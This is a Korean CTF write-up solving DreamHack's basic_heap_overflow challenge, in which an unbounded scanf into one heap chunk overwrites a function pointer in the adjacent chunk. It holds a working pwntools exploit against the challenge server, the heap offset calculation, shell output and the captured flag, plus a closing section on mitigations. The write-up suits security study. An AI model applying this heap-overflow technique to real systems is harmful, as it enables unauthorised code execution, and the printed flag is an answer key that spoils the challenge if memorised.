[๐Ÿฅˆ Silver 4] ์ธ์ ‘ ํž™ ์ฒญํฌ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋„˜์–ด ๋ฎ๋‹ค โ€” DreamHack basic_heap_overflow ํ’€์ด

2026-07-12ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] ์ธ์ ‘ ํž™ ์ฒญํฌ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋„˜์–ด ๋ฎ๋‹ค โ€” DreamHack basic_heap_overflow ํ’€์ด

ptr = malloc(0x20) ๊ณผ over = malloc(0x20) ์ด ํž™์—์„œ ์—ฐ์†์œผ๋กœ ์žกํžˆ๋Š”๋ฐ scanf("%s", ptr) ์— ๊ธธ์ด ์ œํ•œ์ด ์—†๋‹ค. ptr ์ฒญํฌ๋ฅผ ์ง€๋‚˜ over ์ฒญํฌ์˜ ์ฒซ ๋ฉค๋ฒ„์ธ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ over->table ๊นŒ์ง€ ๋ฎ์–ด, main ๋์˜ over->table() ํ˜ธ์ถœ์„ get_shell ๋กœ ๋Œ๋ ธ๋‹ค. ์˜คํ”„์…‹์€ ํƒ€๊นƒ glibc 2.23 ๊ธฐ์ค€ 0x28(40) ์ด์—ˆ๊ณ , ๋กœ์ปฌ glibc ์™€ ๋‹ฌ๋ผ ํ•œ ๋ฒˆ ํ—ค๋งธ๋‹ค.

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ์ง€๊ฒน๋„๋ก ๋ดค๋Š”๋ฐ, ์ด ๋ฌธ์ œ๋Š” ๋ฌด๋Œ€๊ฐ€ ํž™์ด๋‹ค. ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ basic_heap_overflow. ํž™์—์„œ ์—ฐ์†์œผ๋กœ ์žกํžŒ ๋‘ ์ฒญํฌ ์ค‘ ์•ž ์ฒญํฌ์— ๊ฒฝ๊ณ„ ์—†์ด ์ž…๋ ฅ์„ ๋ฐ›์•„, ๋ฐ”๋กœ ๋’ค ์ฒญํฌ์— ๋“ค์–ด์žˆ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฎ๋Š” ๊ฒŒ ์ „๋ถ€๋‹ค. ์Šคํƒ ์นด๋‚˜๋ฆฌ๋„, ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๊ณ„์‚ฐ๋„ ํ•„์š” ์—†๋‹ค. ๋Œ€์‹  ํž™ ์ฒญํฌ๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์–ด๋–ป๊ฒŒ ๋ฐฐ์น˜๋˜๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ๊ทธ ๋ฐฐ์น˜๊ฐ€ glibc ๋ฒ„์ „๋งˆ๋‹ค ์กฐ๊ธˆ์”ฉ ๋‹ค๋ฅด๋‹ค๋Š” ๊ฑธ ์•Œ์•„์•ผ ํ•œ๋‹ค. ๋งˆ์ง€๋ง‰ ํ•จ์ •์ด ๋ฐ”๋กœ ๊ฑฐ๊ธฐ ์žˆ์—ˆ๋‹ค.

๋ฌด์—‡์„ ์ฃผ๋Š” ๋ฌธ์ œ์ธ๊ฐ€

๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ๋„๋Š” ์„œ๋น„์Šค(basic_heap_overflow)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์ค€๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด์„œ ์…ธ์„ ์–ป๊ณ  flag ํŒŒ์ผ์„ ์ฝ์œผ๋ฉด ๋œ๋‹ค. ๋จผ์ € ๋ฐ”์ด๋„ˆ๋ฆฌ๋ถ€ํ„ฐ ์‚ดํŽด๋ดค๋‹ค.

file basic_heap_overflow; checksec basic_heap_overflow
file ๊ณผ checksec โ€” i386-32-little, Partial RELRO, No canary, NX enabled, No PIE
file ๊ณผ checksec โ€” i386-32-little, Partial RELRO, No canary, NX enabled, No PIE

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

  • Arch: i386 โ€” 32๋น„ํŠธ. ์ฃผ์†Œ๊ฐ€ 4๋ฐ”์ดํŠธ, ํฌ์ธํ„ฐ๋„ 4๋ฐ”์ดํŠธ๋‹ค.
  • No PIE (0x8048000) โ€” ์ฝ”๋“œ๊ฐ€ ํ•ญ์ƒ 0x08048000 ๋Œ€์—ญ์— ๊ณ ์ •์œผ๋กœ ์˜ฌ๋ผ์˜จ๋‹ค. get_shell ๊ฐ™์€ ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ๊ทธ๋ƒฅ ์ƒ์ˆ˜๋กœ ์จ๋„ ๋œ๋‹ค.
  • No canary โ€” ์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†์ง€๋งŒ, ์ด ๋ฌธ์ œ๋Š” ์• ์ดˆ์— ์Šคํƒ์ด ์•„๋‹ˆ๋ผ ํž™์„ ๋„˜์–ด๋œจ๋ฆฌ๋ฏ€๋กœ ์ƒ๊ด€์—†๋‹ค.
  • NX enabled โ€” ํž™/์Šคํƒ์— ์˜ฌ๋ฆฐ ๋ฐ์ดํ„ฐ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๋‹ค. ์…ธ์ฝ”๋“œ๋ฅผ ์‹ฌ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์ด๋ฏธ ์žˆ๋Š” get_shell ํ•จ์ˆ˜๋ฅผ ์žฌ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค๋Š” ๋œป์ด๋‹ค.

์ด ์กฐํ•ฉ์€ "์ฃผ์†Œ๊ฐ€ ๊ณ ์ •๋œ ๊ธฐ์กด ํ•จ์ˆ˜๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ๋Œ๋ ค๋ผ"๋Š” ์‹ ํ˜ธ๋‹ค. ์†Œ์Šค๋ฅผ ๋ณด๋ฉด ๊ทธ ํ•จ์ˆ˜๊ฐ€ ์นœ์ ˆํ•˜๊ฒŒ ์ค€๋น„๋ผ ์žˆ๋‹ค.

์†Œ์Šค ์ฝ๊ธฐ

cat basic_heap_overflow.c
basic_heap_overflow.c ์ „์ฒด โ€” struct over ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ, get_shell, main ์˜ malloc ๋‘ ๋ฒˆ๊ณผ scanf
basic_heap_overflow.c ์ „์ฒด โ€” struct over ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ, get_shell, main ์˜ malloc ๋‘ ๋ฒˆ๊ณผ scanf

ํ•ต์‹ฌ๋งŒ ์ถ”๋ฆฌ๋ฉด ์ด๋ ‡๋‹ค.

struct over {
    void (*table)();          // ๊ตฌ์กฐ์ฒด์˜ ์œ ์ผํ•œ ๋ฉค๋ฒ„ = ํ•จ์ˆ˜ ํฌ์ธํ„ฐ
};
 
void get_shell() {
    system("/bin/sh");        // ์šฐ๋ฆฌ๊ฐ€ ๋ถ€๋ฅด๊ณ  ์‹ถ์€ ํ•จ์ˆ˜
}
 
int main() {
    char *ptr = malloc(0x20);        // ์ฒญํฌ 1
    struct over *over = malloc(0x20);// ์ฒญํฌ 2 (๋ฐ”๋กœ ๋’ค์— ์žกํž˜)
 
    initialize();
    over->table = table_func;        // ์›๋ž˜๋Š” "overwrite_me!" ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ํ•จ์ˆ˜
 
    scanf("%s", ptr);                // โ˜… ๊ธธ์ด ์ œํ•œ ์—†๋Š” ์ž…๋ ฅ
 
    if( !over->table ){
        return 0;
    }
    over->table();                   // โ˜… ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ˜ธ์ถœ
    return 0;
}

์ฝ์ž๋งˆ์ž ๊ฑธ๋ฆฌ๋Š” ๊ฒŒ ๋‘ ๊ฐ€์ง€๋‹ค.

์ฒซ์งธ, malloc(0x20) ์ด ์—ฐ๋‹ฌ์•„ ๋‘ ๋ฒˆ ํ˜ธ์ถœ๋œ๋‹ค. ๊ฐ™์€ ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ์—ฐ์†์œผ๋กœ ์žก์œผ๋ฉด ํž™์—์„œ ๋ฌผ๋ฆฌ์ ์œผ๋กœ ๋ถ™์–ด์„œ ๋ฐฐ์น˜๋œ๋‹ค. ptr ์ฒญํฌ ๋ฐ”๋กœ ๋‹ค์Œ์ด over ์ฒญํฌ๋‹ค.

๋‘˜์งธ, scanf("%s", ptr) ์— ๊ธธ์ด ์ œํ•œ์ด ์—†๋‹ค. %s ๋Š” ๊ณต๋ฐฑ/๊ฐœํ–‰์„ ๋งŒ๋‚  ๋•Œ๊นŒ์ง€ ๋ฐ›์€ ๋งŒํผ ๊ทธ๋Œ€๋กœ ๋ฒ„ํผ์— ์“ด๋‹ค. ptr ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฒญํฌ๋Š” ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ ๊ณต๊ฐ„์ด 0x20 ๋ฐ”์ดํŠธ๋ฟ์ธ๋ฐ, ๊ทธ๊ฑธ ๋„˜๊ฒจ ์“ฐ๋ฉด ๋’ค ์ฒญํฌ๋กœ ํ˜๋Ÿฌ๋„˜์นœ๋‹ค. ๊ทธ ๋’ค ์ฒญํฌ์˜ ์ฒซ 4๋ฐ”์ดํŠธ๊ฐ€ ๋ฐ”๋กœ over->table โ€” ์šฐ๋ฆฌ๊ฐ€ ๋…ธ๋ฆฌ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋‹ค.

๋งˆ์ง€๋ง‰ if( !over->table ) ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ 0์ด๋ฉด ๊ทธ๋ƒฅ ์ข…๋ฃŒํ•œ๋‹ค. ์šฐ๋ฆฌ๋Š” 0์ด ์•„๋‹Œ ๊ฐ’(get_shell ์ฃผ์†Œ)์œผ๋กœ ๋ฎ์„ ๊ฑฐ๋ผ ์ด ๊ฒ€์‚ฌ๋Š” ์ž์—ฐํžˆ ํ†ต๊ณผํ•˜๊ณ , over->table() ์ด ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋œ๋‹ค.

ํ‘œ์  ์ฃผ์†Œ ํ™•๋ณด

get_shell ์˜ ์ฃผ์†Œ๊ฐ€ ํ•„์š”ํ•˜๋‹ค. No PIE๋ผ ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์˜ ๊ฐ’์ด ๊ณง ์‹ค์ œ ๋Ÿฐํƒ€์ž„ ์ฃผ์†Œ๋‹ค.

nm ์ถœ๋ ฅ โ€” get_shell ์€ 0804867b, table_func ๋Š” 08048694, main ์€ 080486ad
nm ์ถœ๋ ฅ โ€” get_shell ์€ 0804867b, table_func ๋Š” 08048694, main ์€ 080486ad

get_shell = 0x0804867b. ๋ฐ”์ดํŠธ๋กœ ํ’€๋ฉด 7b 86 04 08 ์ธ๋ฐ, scanf("%s") ๊ฐ€ ์‹ซ์–ดํ•˜๋Š” ๋„ ๋ฐ”์ดํŠธ๋‚˜ ๊ณต๋ฐฑ(0x09~0x0d, 0x20)์ด ํ•˜๋‚˜๋„ ์—†๋‹ค. ๊ทธ๋Œ€๋กœ ์ž…๋ ฅ์— ์‹ค์–ด ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

๋””์Šค์–ด์…ˆ๋ธ”๋กœ main ์˜ ์‹ค์ œ ํ๋ฆ„๋„ ํ™•์ธํ–ˆ๋‹ค.

objdump ๋กœ ๋ณธ main โ€” over->table ์— table_func(0x8048694) ๋Œ€์ž…, scanf ํ˜ธ์ถœ, ๊ทธ๋ฆฌ๊ณ  call eax ๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ˜ธ์ถœ
objdump ๋กœ ๋ณธ main โ€” over->table ์— table_func(0x8048694) ๋Œ€์ž…, scanf ํ˜ธ์ถœ, ๊ทธ๋ฆฌ๊ณ  call eax ๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ˜ธ์ถœ

mov DWORD PTR [eax], 0x8048694 ๊ฐ€ over->table = table_func ์ด๊ณ , __isoc99_scanf ํ˜ธ์ถœ ๋’ค mov eax,[eax] โ†’ call eax ๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ถ€๋ฅธ๋‹ค. ์†Œ์Šค์™€ ์–ด์…ˆ๋ธ”๋ฆฌ๊ฐ€ ์ •ํ™•ํžˆ ์ผ์น˜ํ•œ๋‹ค. ์ด์ œ call eax ์ง์ „์— eax ๊ฐ€ get_shell ์ด ๋˜๋„๋ก over->table ์„ ๋ฎ์œผ๋ฉด ๋์ด๋‹ค.

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ตฌ์กฐ

๋‘ ์ฒญํฌ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ถ™์–ด ์žˆ๊ณ , ์–ด๋””๊นŒ์ง€ ์ฑ„์›Œ์•ผ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ์— ๋‹ฟ๋Š”์ง€๋ฅผ ๊ทธ๋ฆผ์œผ๋กœ ์ •๋ฆฌํ–ˆ๋‹ค.

ํž™ ์ฒญํฌ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” ptr ์ฒญํฌ ๋ฐ์ดํ„ฐ(0x20)์™€ over ์ฒญํฌ ํ—ค๋”(8)๋ฅผ ์ง€๋‚˜ over->table(ํ•จ์ˆ˜ ํฌ์ธํ„ฐ)์— ๋„๋‹ฌ, ์ด 0x28(40) ๋ฐ”์ดํŠธ ๋’ค์— get_shell ์ฃผ์†Œ๋ฅผ ์“ด๋‹ค
ํž™ ์ฒญํฌ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” ptr ์ฒญํฌ ๋ฐ์ดํ„ฐ(0x20)์™€ over ์ฒญํฌ ํ—ค๋”(8)๋ฅผ ์ง€๋‚˜ over->table(ํ•จ์ˆ˜ ํฌ์ธํ„ฐ)์— ๋„๋‹ฌ, ์ด 0x28(40) ๋ฐ”์ดํŠธ ๋’ค์— get_shell ์ฃผ์†Œ๋ฅผ ์“ด๋‹ค

32๋น„ํŠธ glibc์˜ ์ฒญํฌ ํ•˜๋‚˜๋Š” [prev_size 4B][size 4B][์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ โ€ฆ] ๊ตฌ์กฐ๋‹ค. malloc(0x20) ์€ ์š”์ฒญ ํฌ๊ธฐ 0x20 ์— ๊ด€๋ฆฌ์šฉ 4๋ฐ”์ดํŠธ๋ฅผ ๋”ํ•˜๊ณ  8๋ฐ”์ดํŠธ ์ •๋ ฌ๋กœ ๋งž์ถฐ ์ฒญํฌ ํฌ๊ธฐ 0x28 ์ด ๋œ๋‹ค(request2size(0x20) = (0x20 + 4 + 7) & ~7 = 0x28). ๋ฐ˜ํ™˜๋˜๋Š” ์‚ฌ์šฉ์ž ํฌ์ธํ„ฐ๋Š” ์ฒญํฌ ์‹œ์ž‘ + 8์ด๋‹ค.

๊ทธ๋ž˜์„œ ptr ์—์„œ over->table ๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š”:

ptr ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ  0x20 (32) ๋ฐ”์ดํŠธ
+ over ์ฒญํฌ ํ—ค๋”    0x08 (8)  ๋ฐ”์ดํŠธ  (prev_size + size)
= 0x28 (40) ๋ฐ”์ดํŠธ

์ฆ‰ 'A' * 40 ์œผ๋กœ ์—ฌ๊ธฐ๊นŒ์ง€ ์ •ํ™•ํžˆ ์ฑ„์šด ๋’ค, ์ด์–ด์ง€๋Š” 4๋ฐ”์ดํŠธ์— get_shell ์ฃผ์†Œ๋ฅผ ์“ฐ๋ฉด over->table ์ด ํ†ต์งธ๋กœ ๋ฐ”๋€๋‹ค.

์˜คํ”„์…‹ ํ•จ์ • โ€” ๋กœ์ปฌ๊ณผ ํƒ€๊นƒ์ด ๋‹ค๋ฅด๋‹ค

์ด ๋ฌธ์ œ์—์„œ ์œ ์ผํ•˜๊ฒŒ ๋ฐœ์ด ๊ฑธ๋ ธ๋˜ ๋ถ€๋ถ„์ด๋‹ค. ๋กœ์ปฌ์—์„œ gdb๋กœ ๋‘ ์ฒญํฌ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ์ฐ์–ด ์˜คํ”„์…‹์„ ์žฌ๋ดค๋”๋‹ˆ 0x28์ด ์•„๋‹ˆ๋ผ 0x30(48) ์ด ๋‚˜์™”๋‹ค.

โ–ถ ์‚ฝ์งˆ: ๋กœ์ปฌ glibc ๋กœ ์žฐ ์˜คํ”„์…‹ 48์„ ๊ทธ๋Œ€๋กœ ์›๊ฒฉ์— ์ˆ๋‹ค๊ฐ€ ํ—›๋ฐœ์งˆ

malloc ์ด ๋ฐ˜ํ™˜ํ•œ ๋‘ ํฌ์ธํ„ฐ๋ฅผ gdb๋กœ ์ง์ ‘ ๋น„๊ตํ–ˆ๋‹ค. main ์—์„œ ๋‘ ๋ฒˆ์งธ malloc ์งํ›„(*0x80486de)์— ๋ฉˆ์ถฐ ์Šคํƒ์˜ [ebp-0x10](ptr), [ebp-0xc](over) ๊ฐ’์„ ์ฝ์—ˆ๋‹ค.

gdb ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” chunk1 ptr = 0x804b1e0, chunk2 over = 0x804b210, over - ptr = 0x30 (๋กœ์ปฌ glibc 2.42)
gdb ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” chunk1 ptr = 0x804b1e0, chunk2 over = 0x804b210, over - ptr = 0x30 (๋กœ์ปฌ glibc 2.42)

๋กœ์ปฌ์—์„œ๋Š” over - ptr = 0x30, ์ฆ‰ 48๋ฐ”์ดํŠธ๊ฐ€ ๋‚˜์˜จ๋‹ค. ๋‚ด ์šฐ๋ถ„ํˆฌ์˜ 32๋น„ํŠธ glibc๋Š” 2.42์ธ๋ฐ, glibc 2.26 ๋ฌด๋ ต๋ถ€ํ„ฐ i386์˜ MALLOC_ALIGNMENT ์ •๋ ฌ ์ •์ฑ…์ด ๋ฐ”๋€Œ์–ด ๊ฐ™์€ malloc(0x20) ์ด๋ผ๋„ ์ฒญํฌ๊ฐ€ 0x30 ์œผ๋กœ ์žกํžˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ด ๋ฌธ์ œ ์„œ๋ฒ„๋Š” Ubuntu 16.04 = glibc 2.23 ์ด๋‹ค. 2.23์—์„œ๋Š” request2size(0x20) = 0x28, ์˜คํ”„์…‹์ด 40์ด๋‹ค. ์ฆ‰ ๋กœ์ปฌ์—์„œ ์žฐ 48์€ ํƒ€๊นƒ๊ณผ ๋‹ค๋ฅธ ๊ฐ’์ด๋‹ค.

๋กœ์ปฌ ๊ฐ’(48)์„ ๊ทธ๋Œ€๋กœ ๋ฏฟ๊ณ  ์›๊ฒฉ์— ์˜๋ฉด ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ 8๋ฐ”์ดํŠธ ๋น—๋‚˜๊ฐ€ ๋ฎ๊ฒŒ ๋˜๊ณ , call eax ๋Š” ์—‰๋šฑํ•œ ๊ฐ’์œผ๋กœ ๋›ด๋‹ค. "์˜คํ”„์…‹์€ ๋กœ์ปฌ gdb๋กœ ์žฌ๋ฉด ๋œ๋‹ค"๋Š” ์Šต๊ด€์ด ๋ฐฐ์‹ ํ•˜๋Š” ์ง€์ ์ด๋‹ค. ํž™ ์˜คํ”„์…‹์€ ํƒ€๊นƒ glibc ๊ธฐ์ค€์œผ๋กœ ๊ณ„์‚ฐํ•ด์•ผ ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ์›๊ฒฉ ํŽ˜์ด๋กœ๋“œ๋Š” ๋กœ์ปฌ ์‹ค์ธก 48์ด ์•„๋‹ˆ๋ผ glibc 2.23 ๊ณ„์‚ฐ๊ฐ’ 40์„ ์ผ๋‹ค.

๊ธฐ๋ฒ• ์ž์ฒด๊ฐ€ ๋งž๋Š”์ง€๋Š” ๋กœ์ปฌ(glibc 2.42, ์˜คํ”„์…‹ 48)์—์„œ ๊ฐ€์งœ flag ํŒŒ์ผ๋กœ ๋จผ์ € ํ™•์ธํ–ˆ๋‹ค. 'A' * 48 + p32(get_shell) ๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์œผ๋‹ˆ ์…ธ์ด ๋–จ์–ด์ง€๊ณ  ํŒŒ์ผ์ด ์ฝํžŒ๋‹ค.

๋กœ์ปฌ ๊ฒ€์ฆ โ€” ์˜คํ”„์…‹ 48๋กœ over->table ์„ get_shell ๋กœ ๋ฎ์–ด ์…ธ ํš๋“, ๋ผ๋ฒจ์„ ๋ถ™์ธ ๊ฐ€์งœ flag ํŒŒ์ผ์„ ์ฝ์Œ
๋กœ์ปฌ ๊ฒ€์ฆ โ€” ์˜คํ”„์…‹ 48๋กœ over->table ์„ get_shell ๋กœ ๋ฎ์–ด ์…ธ ํš๋“, ๋ผ๋ฒจ์„ ๋ถ™์ธ ๊ฐ€์งœ flag ํŒŒ์ผ์„ ์ฝ์Œ

๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ํ™•์ธ๋์œผ๋‹ˆ ์›๊ฒฉ์—๋Š” ์˜คํ”„์…‹๋งŒ 40์œผ๋กœ ๋ฐ”๊ฟ” ๊ทธ๋Œ€๋กœ ์ ์šฉํ•˜๋ฉด ๋œ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡

ํŽ˜์ด๋กœ๋“œ๋Š” ๊ฒฐ๊ตญ ํ•œ ์ค„์ด๋‹ค. 40๋ฐ”์ดํŠธ ํŒจ๋”ฉ + get_shell ์ฃผ์†Œ. scanf ๋กœ ์‹ฌ์€ ๋’ค ๊ณง๋ฐ”๋กœ ์…ธ์ด ์—ด๋ฆฌ๋ฏ€๋กœ, ๊ฐ™์€ ์†Œ์ผ“์œผ๋กœ cat flag ๋ฅผ ํ˜๋ ค๋ณด๋‚ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ•œ๋‹ค.

#!/usr/bin/env python3
# basic_heap_overflow (DreamHack, Silver 4)
# ptr = malloc(0x20); over = malloc(0x20)  -> ๋‘ ์ฒญํฌ๊ฐ€ ํž™์—์„œ ์—ฐ์†.
# scanf("%s", ptr) ์— ๊ธธ์ด ์ œํ•œ์ด ์—†์–ด ptr ์ฒญํฌ๋ฅผ ๋„˜์–ด ์ธ์ ‘ํ•œ over ์ฒญํฌ์˜
# ์ฒซ ๋ฉค๋ฒ„(ํ•จ์ˆ˜ ํฌ์ธํ„ฐ over->table)๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ get_shell ๋กœ ๋ฎ์œผ๋ฉด
# main ๋์˜ over->table() ํ˜ธ์ถœ์ด ๊ณง system("/bin/sh") ๊ฐ€ ๋œ๋‹ค.
from pwn import *
 
context.update(arch='i386', os='linux', log_level='warn')
 
HOST, PORT = 'host3.dreamhack.games', 14875
GET_SHELL  = 0x0804867b        # nm: T get_shell  ->  system("/bin/sh")
OFFSET     = 40                # ํƒ€๊นƒ glibc 2.23 i386: malloc(0x20) => chunk 0x28
 
payload  = b'A' * OFFSET       # ptr ์ฒญํฌ(+ํ—ค๋”)๋ฅผ ์ฑ„์›Œ over ๊ฒฝ๊ณ„๊นŒ์ง€ ์ด๋™
payload += p32(GET_SHELL)      # over->table  <-  get_shell
 
io = remote(HOST, PORT)
io.sendline(payload)
io.sendline(b'id; cat flag; echo ===END===')
print(io.recvuntil(b'===END===').decode(errors='replace').replace('===END===','').strip())
io.close()

์‹คํ–‰ํ•˜๋ฉด id ๊ฐ€ ์„œ๋น„์Šค ๊ณ„์ •์œผ๋กœ ์ฐํžˆ๊ณ  flag ํŒŒ์ผ ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

solve.py ์›๊ฒฉ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” 40๋ฐ”์ดํŠธ ํŒจ๋”ฉ ๋’ค get_shell ์ฃผ์†Œ 0x0804867b ๋กœ over->table ์„ ๋ฎ์–ด uid=1000(basic_heap_overflow) ์…ธ์„ ์–ป๊ณ  id ์™€ cat flag ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„ ์˜จ ํ™”๋ฉด
solve.py ์›๊ฒฉ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” 40๋ฐ”์ดํŠธ ํŒจ๋”ฉ ๋’ค get_shell ์ฃผ์†Œ 0x0804867b ๋กœ over->table ์„ ๋ฎ์–ด uid=1000(basic_heap_overflow) ์…ธ์„ ์–ป๊ณ  id ์™€ cat flag ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„ ์˜จ ํ™”๋ฉด
uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow)
DH{f1c2027b0b36ee204723079c7ae6c042}

ํ”Œ๋ž˜๊ทธ๋Š” DH{f1c2027b0b36ee204723079c7ae6c042}. ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ์ธ์ฆํ•˜๋‹ˆ ์ •๋‹ต ์ฒ˜๋ฆฌ๋๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ

์ด ๋ฒ„๊ทธ์˜ ๋ฟŒ๋ฆฌ๋Š” ๋‘ ๊ฐœ๋‹ค.

์ฒซ์งธ, ๊ฒฝ๊ณ„ ์—†๋Š” ์ž…๋ ฅ. scanf("%s", ptr) ๋Š” ๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ์ „ํ˜€ ๋ชจ๋ฅธ๋‹ค. ์ตœ์†Œํ•œ scanf("%31s", ptr) ์ฒ˜๋Ÿผ ํญ์„ ์ง€์ •ํ•˜๊ฑฐ๋‚˜, fgets(ptr, 0x20, stdin) / read(0, ptr, 0x20) ์ฒ˜๋Ÿผ ํฌ๊ธฐ๋ฅผ ๋„˜๊ธฐ๋Š” ํ•จ์ˆ˜๋ฅผ ์จ์•ผ ํ•œ๋‹ค. C์—์„œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ณ ์ • ๋ฒ„ํผ์— ๋ฐ›์„ ๋•Œ ํฌ๊ธฐ๋ฅผ ํ•จ๊ป˜ ๋„˜๊ธฐ์ง€ ์•Š๋Š” ์ˆœ๊ฐ„, ๊ทธ ์˜†์— ๋ฌด์—‡์ด ์žˆ๋“  ๋ฎ์ธ๋‹ค.

๋‘˜์งธ, ์‹ ๋ขฐ ๋ฐ์ดํ„ฐ์™€ ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ์˜ ์ธ์ ‘ ๋ฐฐ์น˜. ํ•จ์ˆ˜ ํฌ์ธํ„ฐ(over->table)์ฒ˜๋Ÿผ ์‹คํ–‰ ํ๋ฆ„์„ ๊ฒฐ์ •ํ•˜๋Š” ๊ฐ’์ด, ๊ฒฝ๊ณ„ ์—†์ด ์ฑ„์›Œ์ง€๋Š” ์‚ฌ์šฉ์ž ๋ฒ„ํผ ๋ฐ”๋กœ ๋’ค์— ๋†“์—ฌ ์žˆ๋‹ค. ํž™ ๋ฐฐ์น˜๋Š” ํ”„๋กœ๊ทธ๋ž˜๋จธ๊ฐ€ ํ†ต์ œํ•˜๊ธฐ ์–ด๋ ต์ง€๋งŒ, ์• ์ดˆ์— "์ œ์–ด ๋ฐ์ดํ„ฐ โ†’ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ˜ธ์ถœ" ํŒจํ„ด์€ ์œ„ํ—˜ํ•˜๋‹ค. ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋Œ€์‹  ์ •์ˆ˜ ์ธ๋ฑ์Šค + ๊ณ ์ • ํ…Œ์ด๋ธ” ์กฐํšŒ(range ๊ฒ€์‚ฌ ํฌํ•จ)๋กœ ๋ฐ”๊พธ๋ฉด, ๊ฐ’์„ ๋ฎ์–ด๋„ ์ž„์˜ ์ฃผ์†Œ๋กœ ๋ชป ๋›ด๋‹ค.

์—ฌ๊ธฐ์— ๋”ํ•ด ๋ฐฐํฌ ํ™˜๊ฒฝ์—์„œ PIE์™€ Full RELRO ๋ฅผ ์ผฐ๋‹ค๋ฉด get_shell ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •๋˜์ง€ ์•Š์•„ ๊ณต๊ฒฉ ๋‚œ๋„๊ฐ€ ํฌ๊ฒŒ ์˜ฌ๋ผ๊ฐ„๋‹ค. ์ด ๋ฌธ์ œ๋Š” ํ•™์Šต์šฉ์ด๋ผ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ์ผ๋ถ€๋Ÿฌ ๊บผ๋‘” ๊ฒƒ์ด๊ณ , ์‹ค๋ฌด ๋ฐ”์ด๋„ˆ๋ฆฌ๋ผ๋ฉด ๊ธฐ๋ณธ์œผ๋กœ ์ผœ์ ธ ์žˆ์–ด์•ผ ํ•  ๊ฒƒ๋“ค์ด๋‹ค.

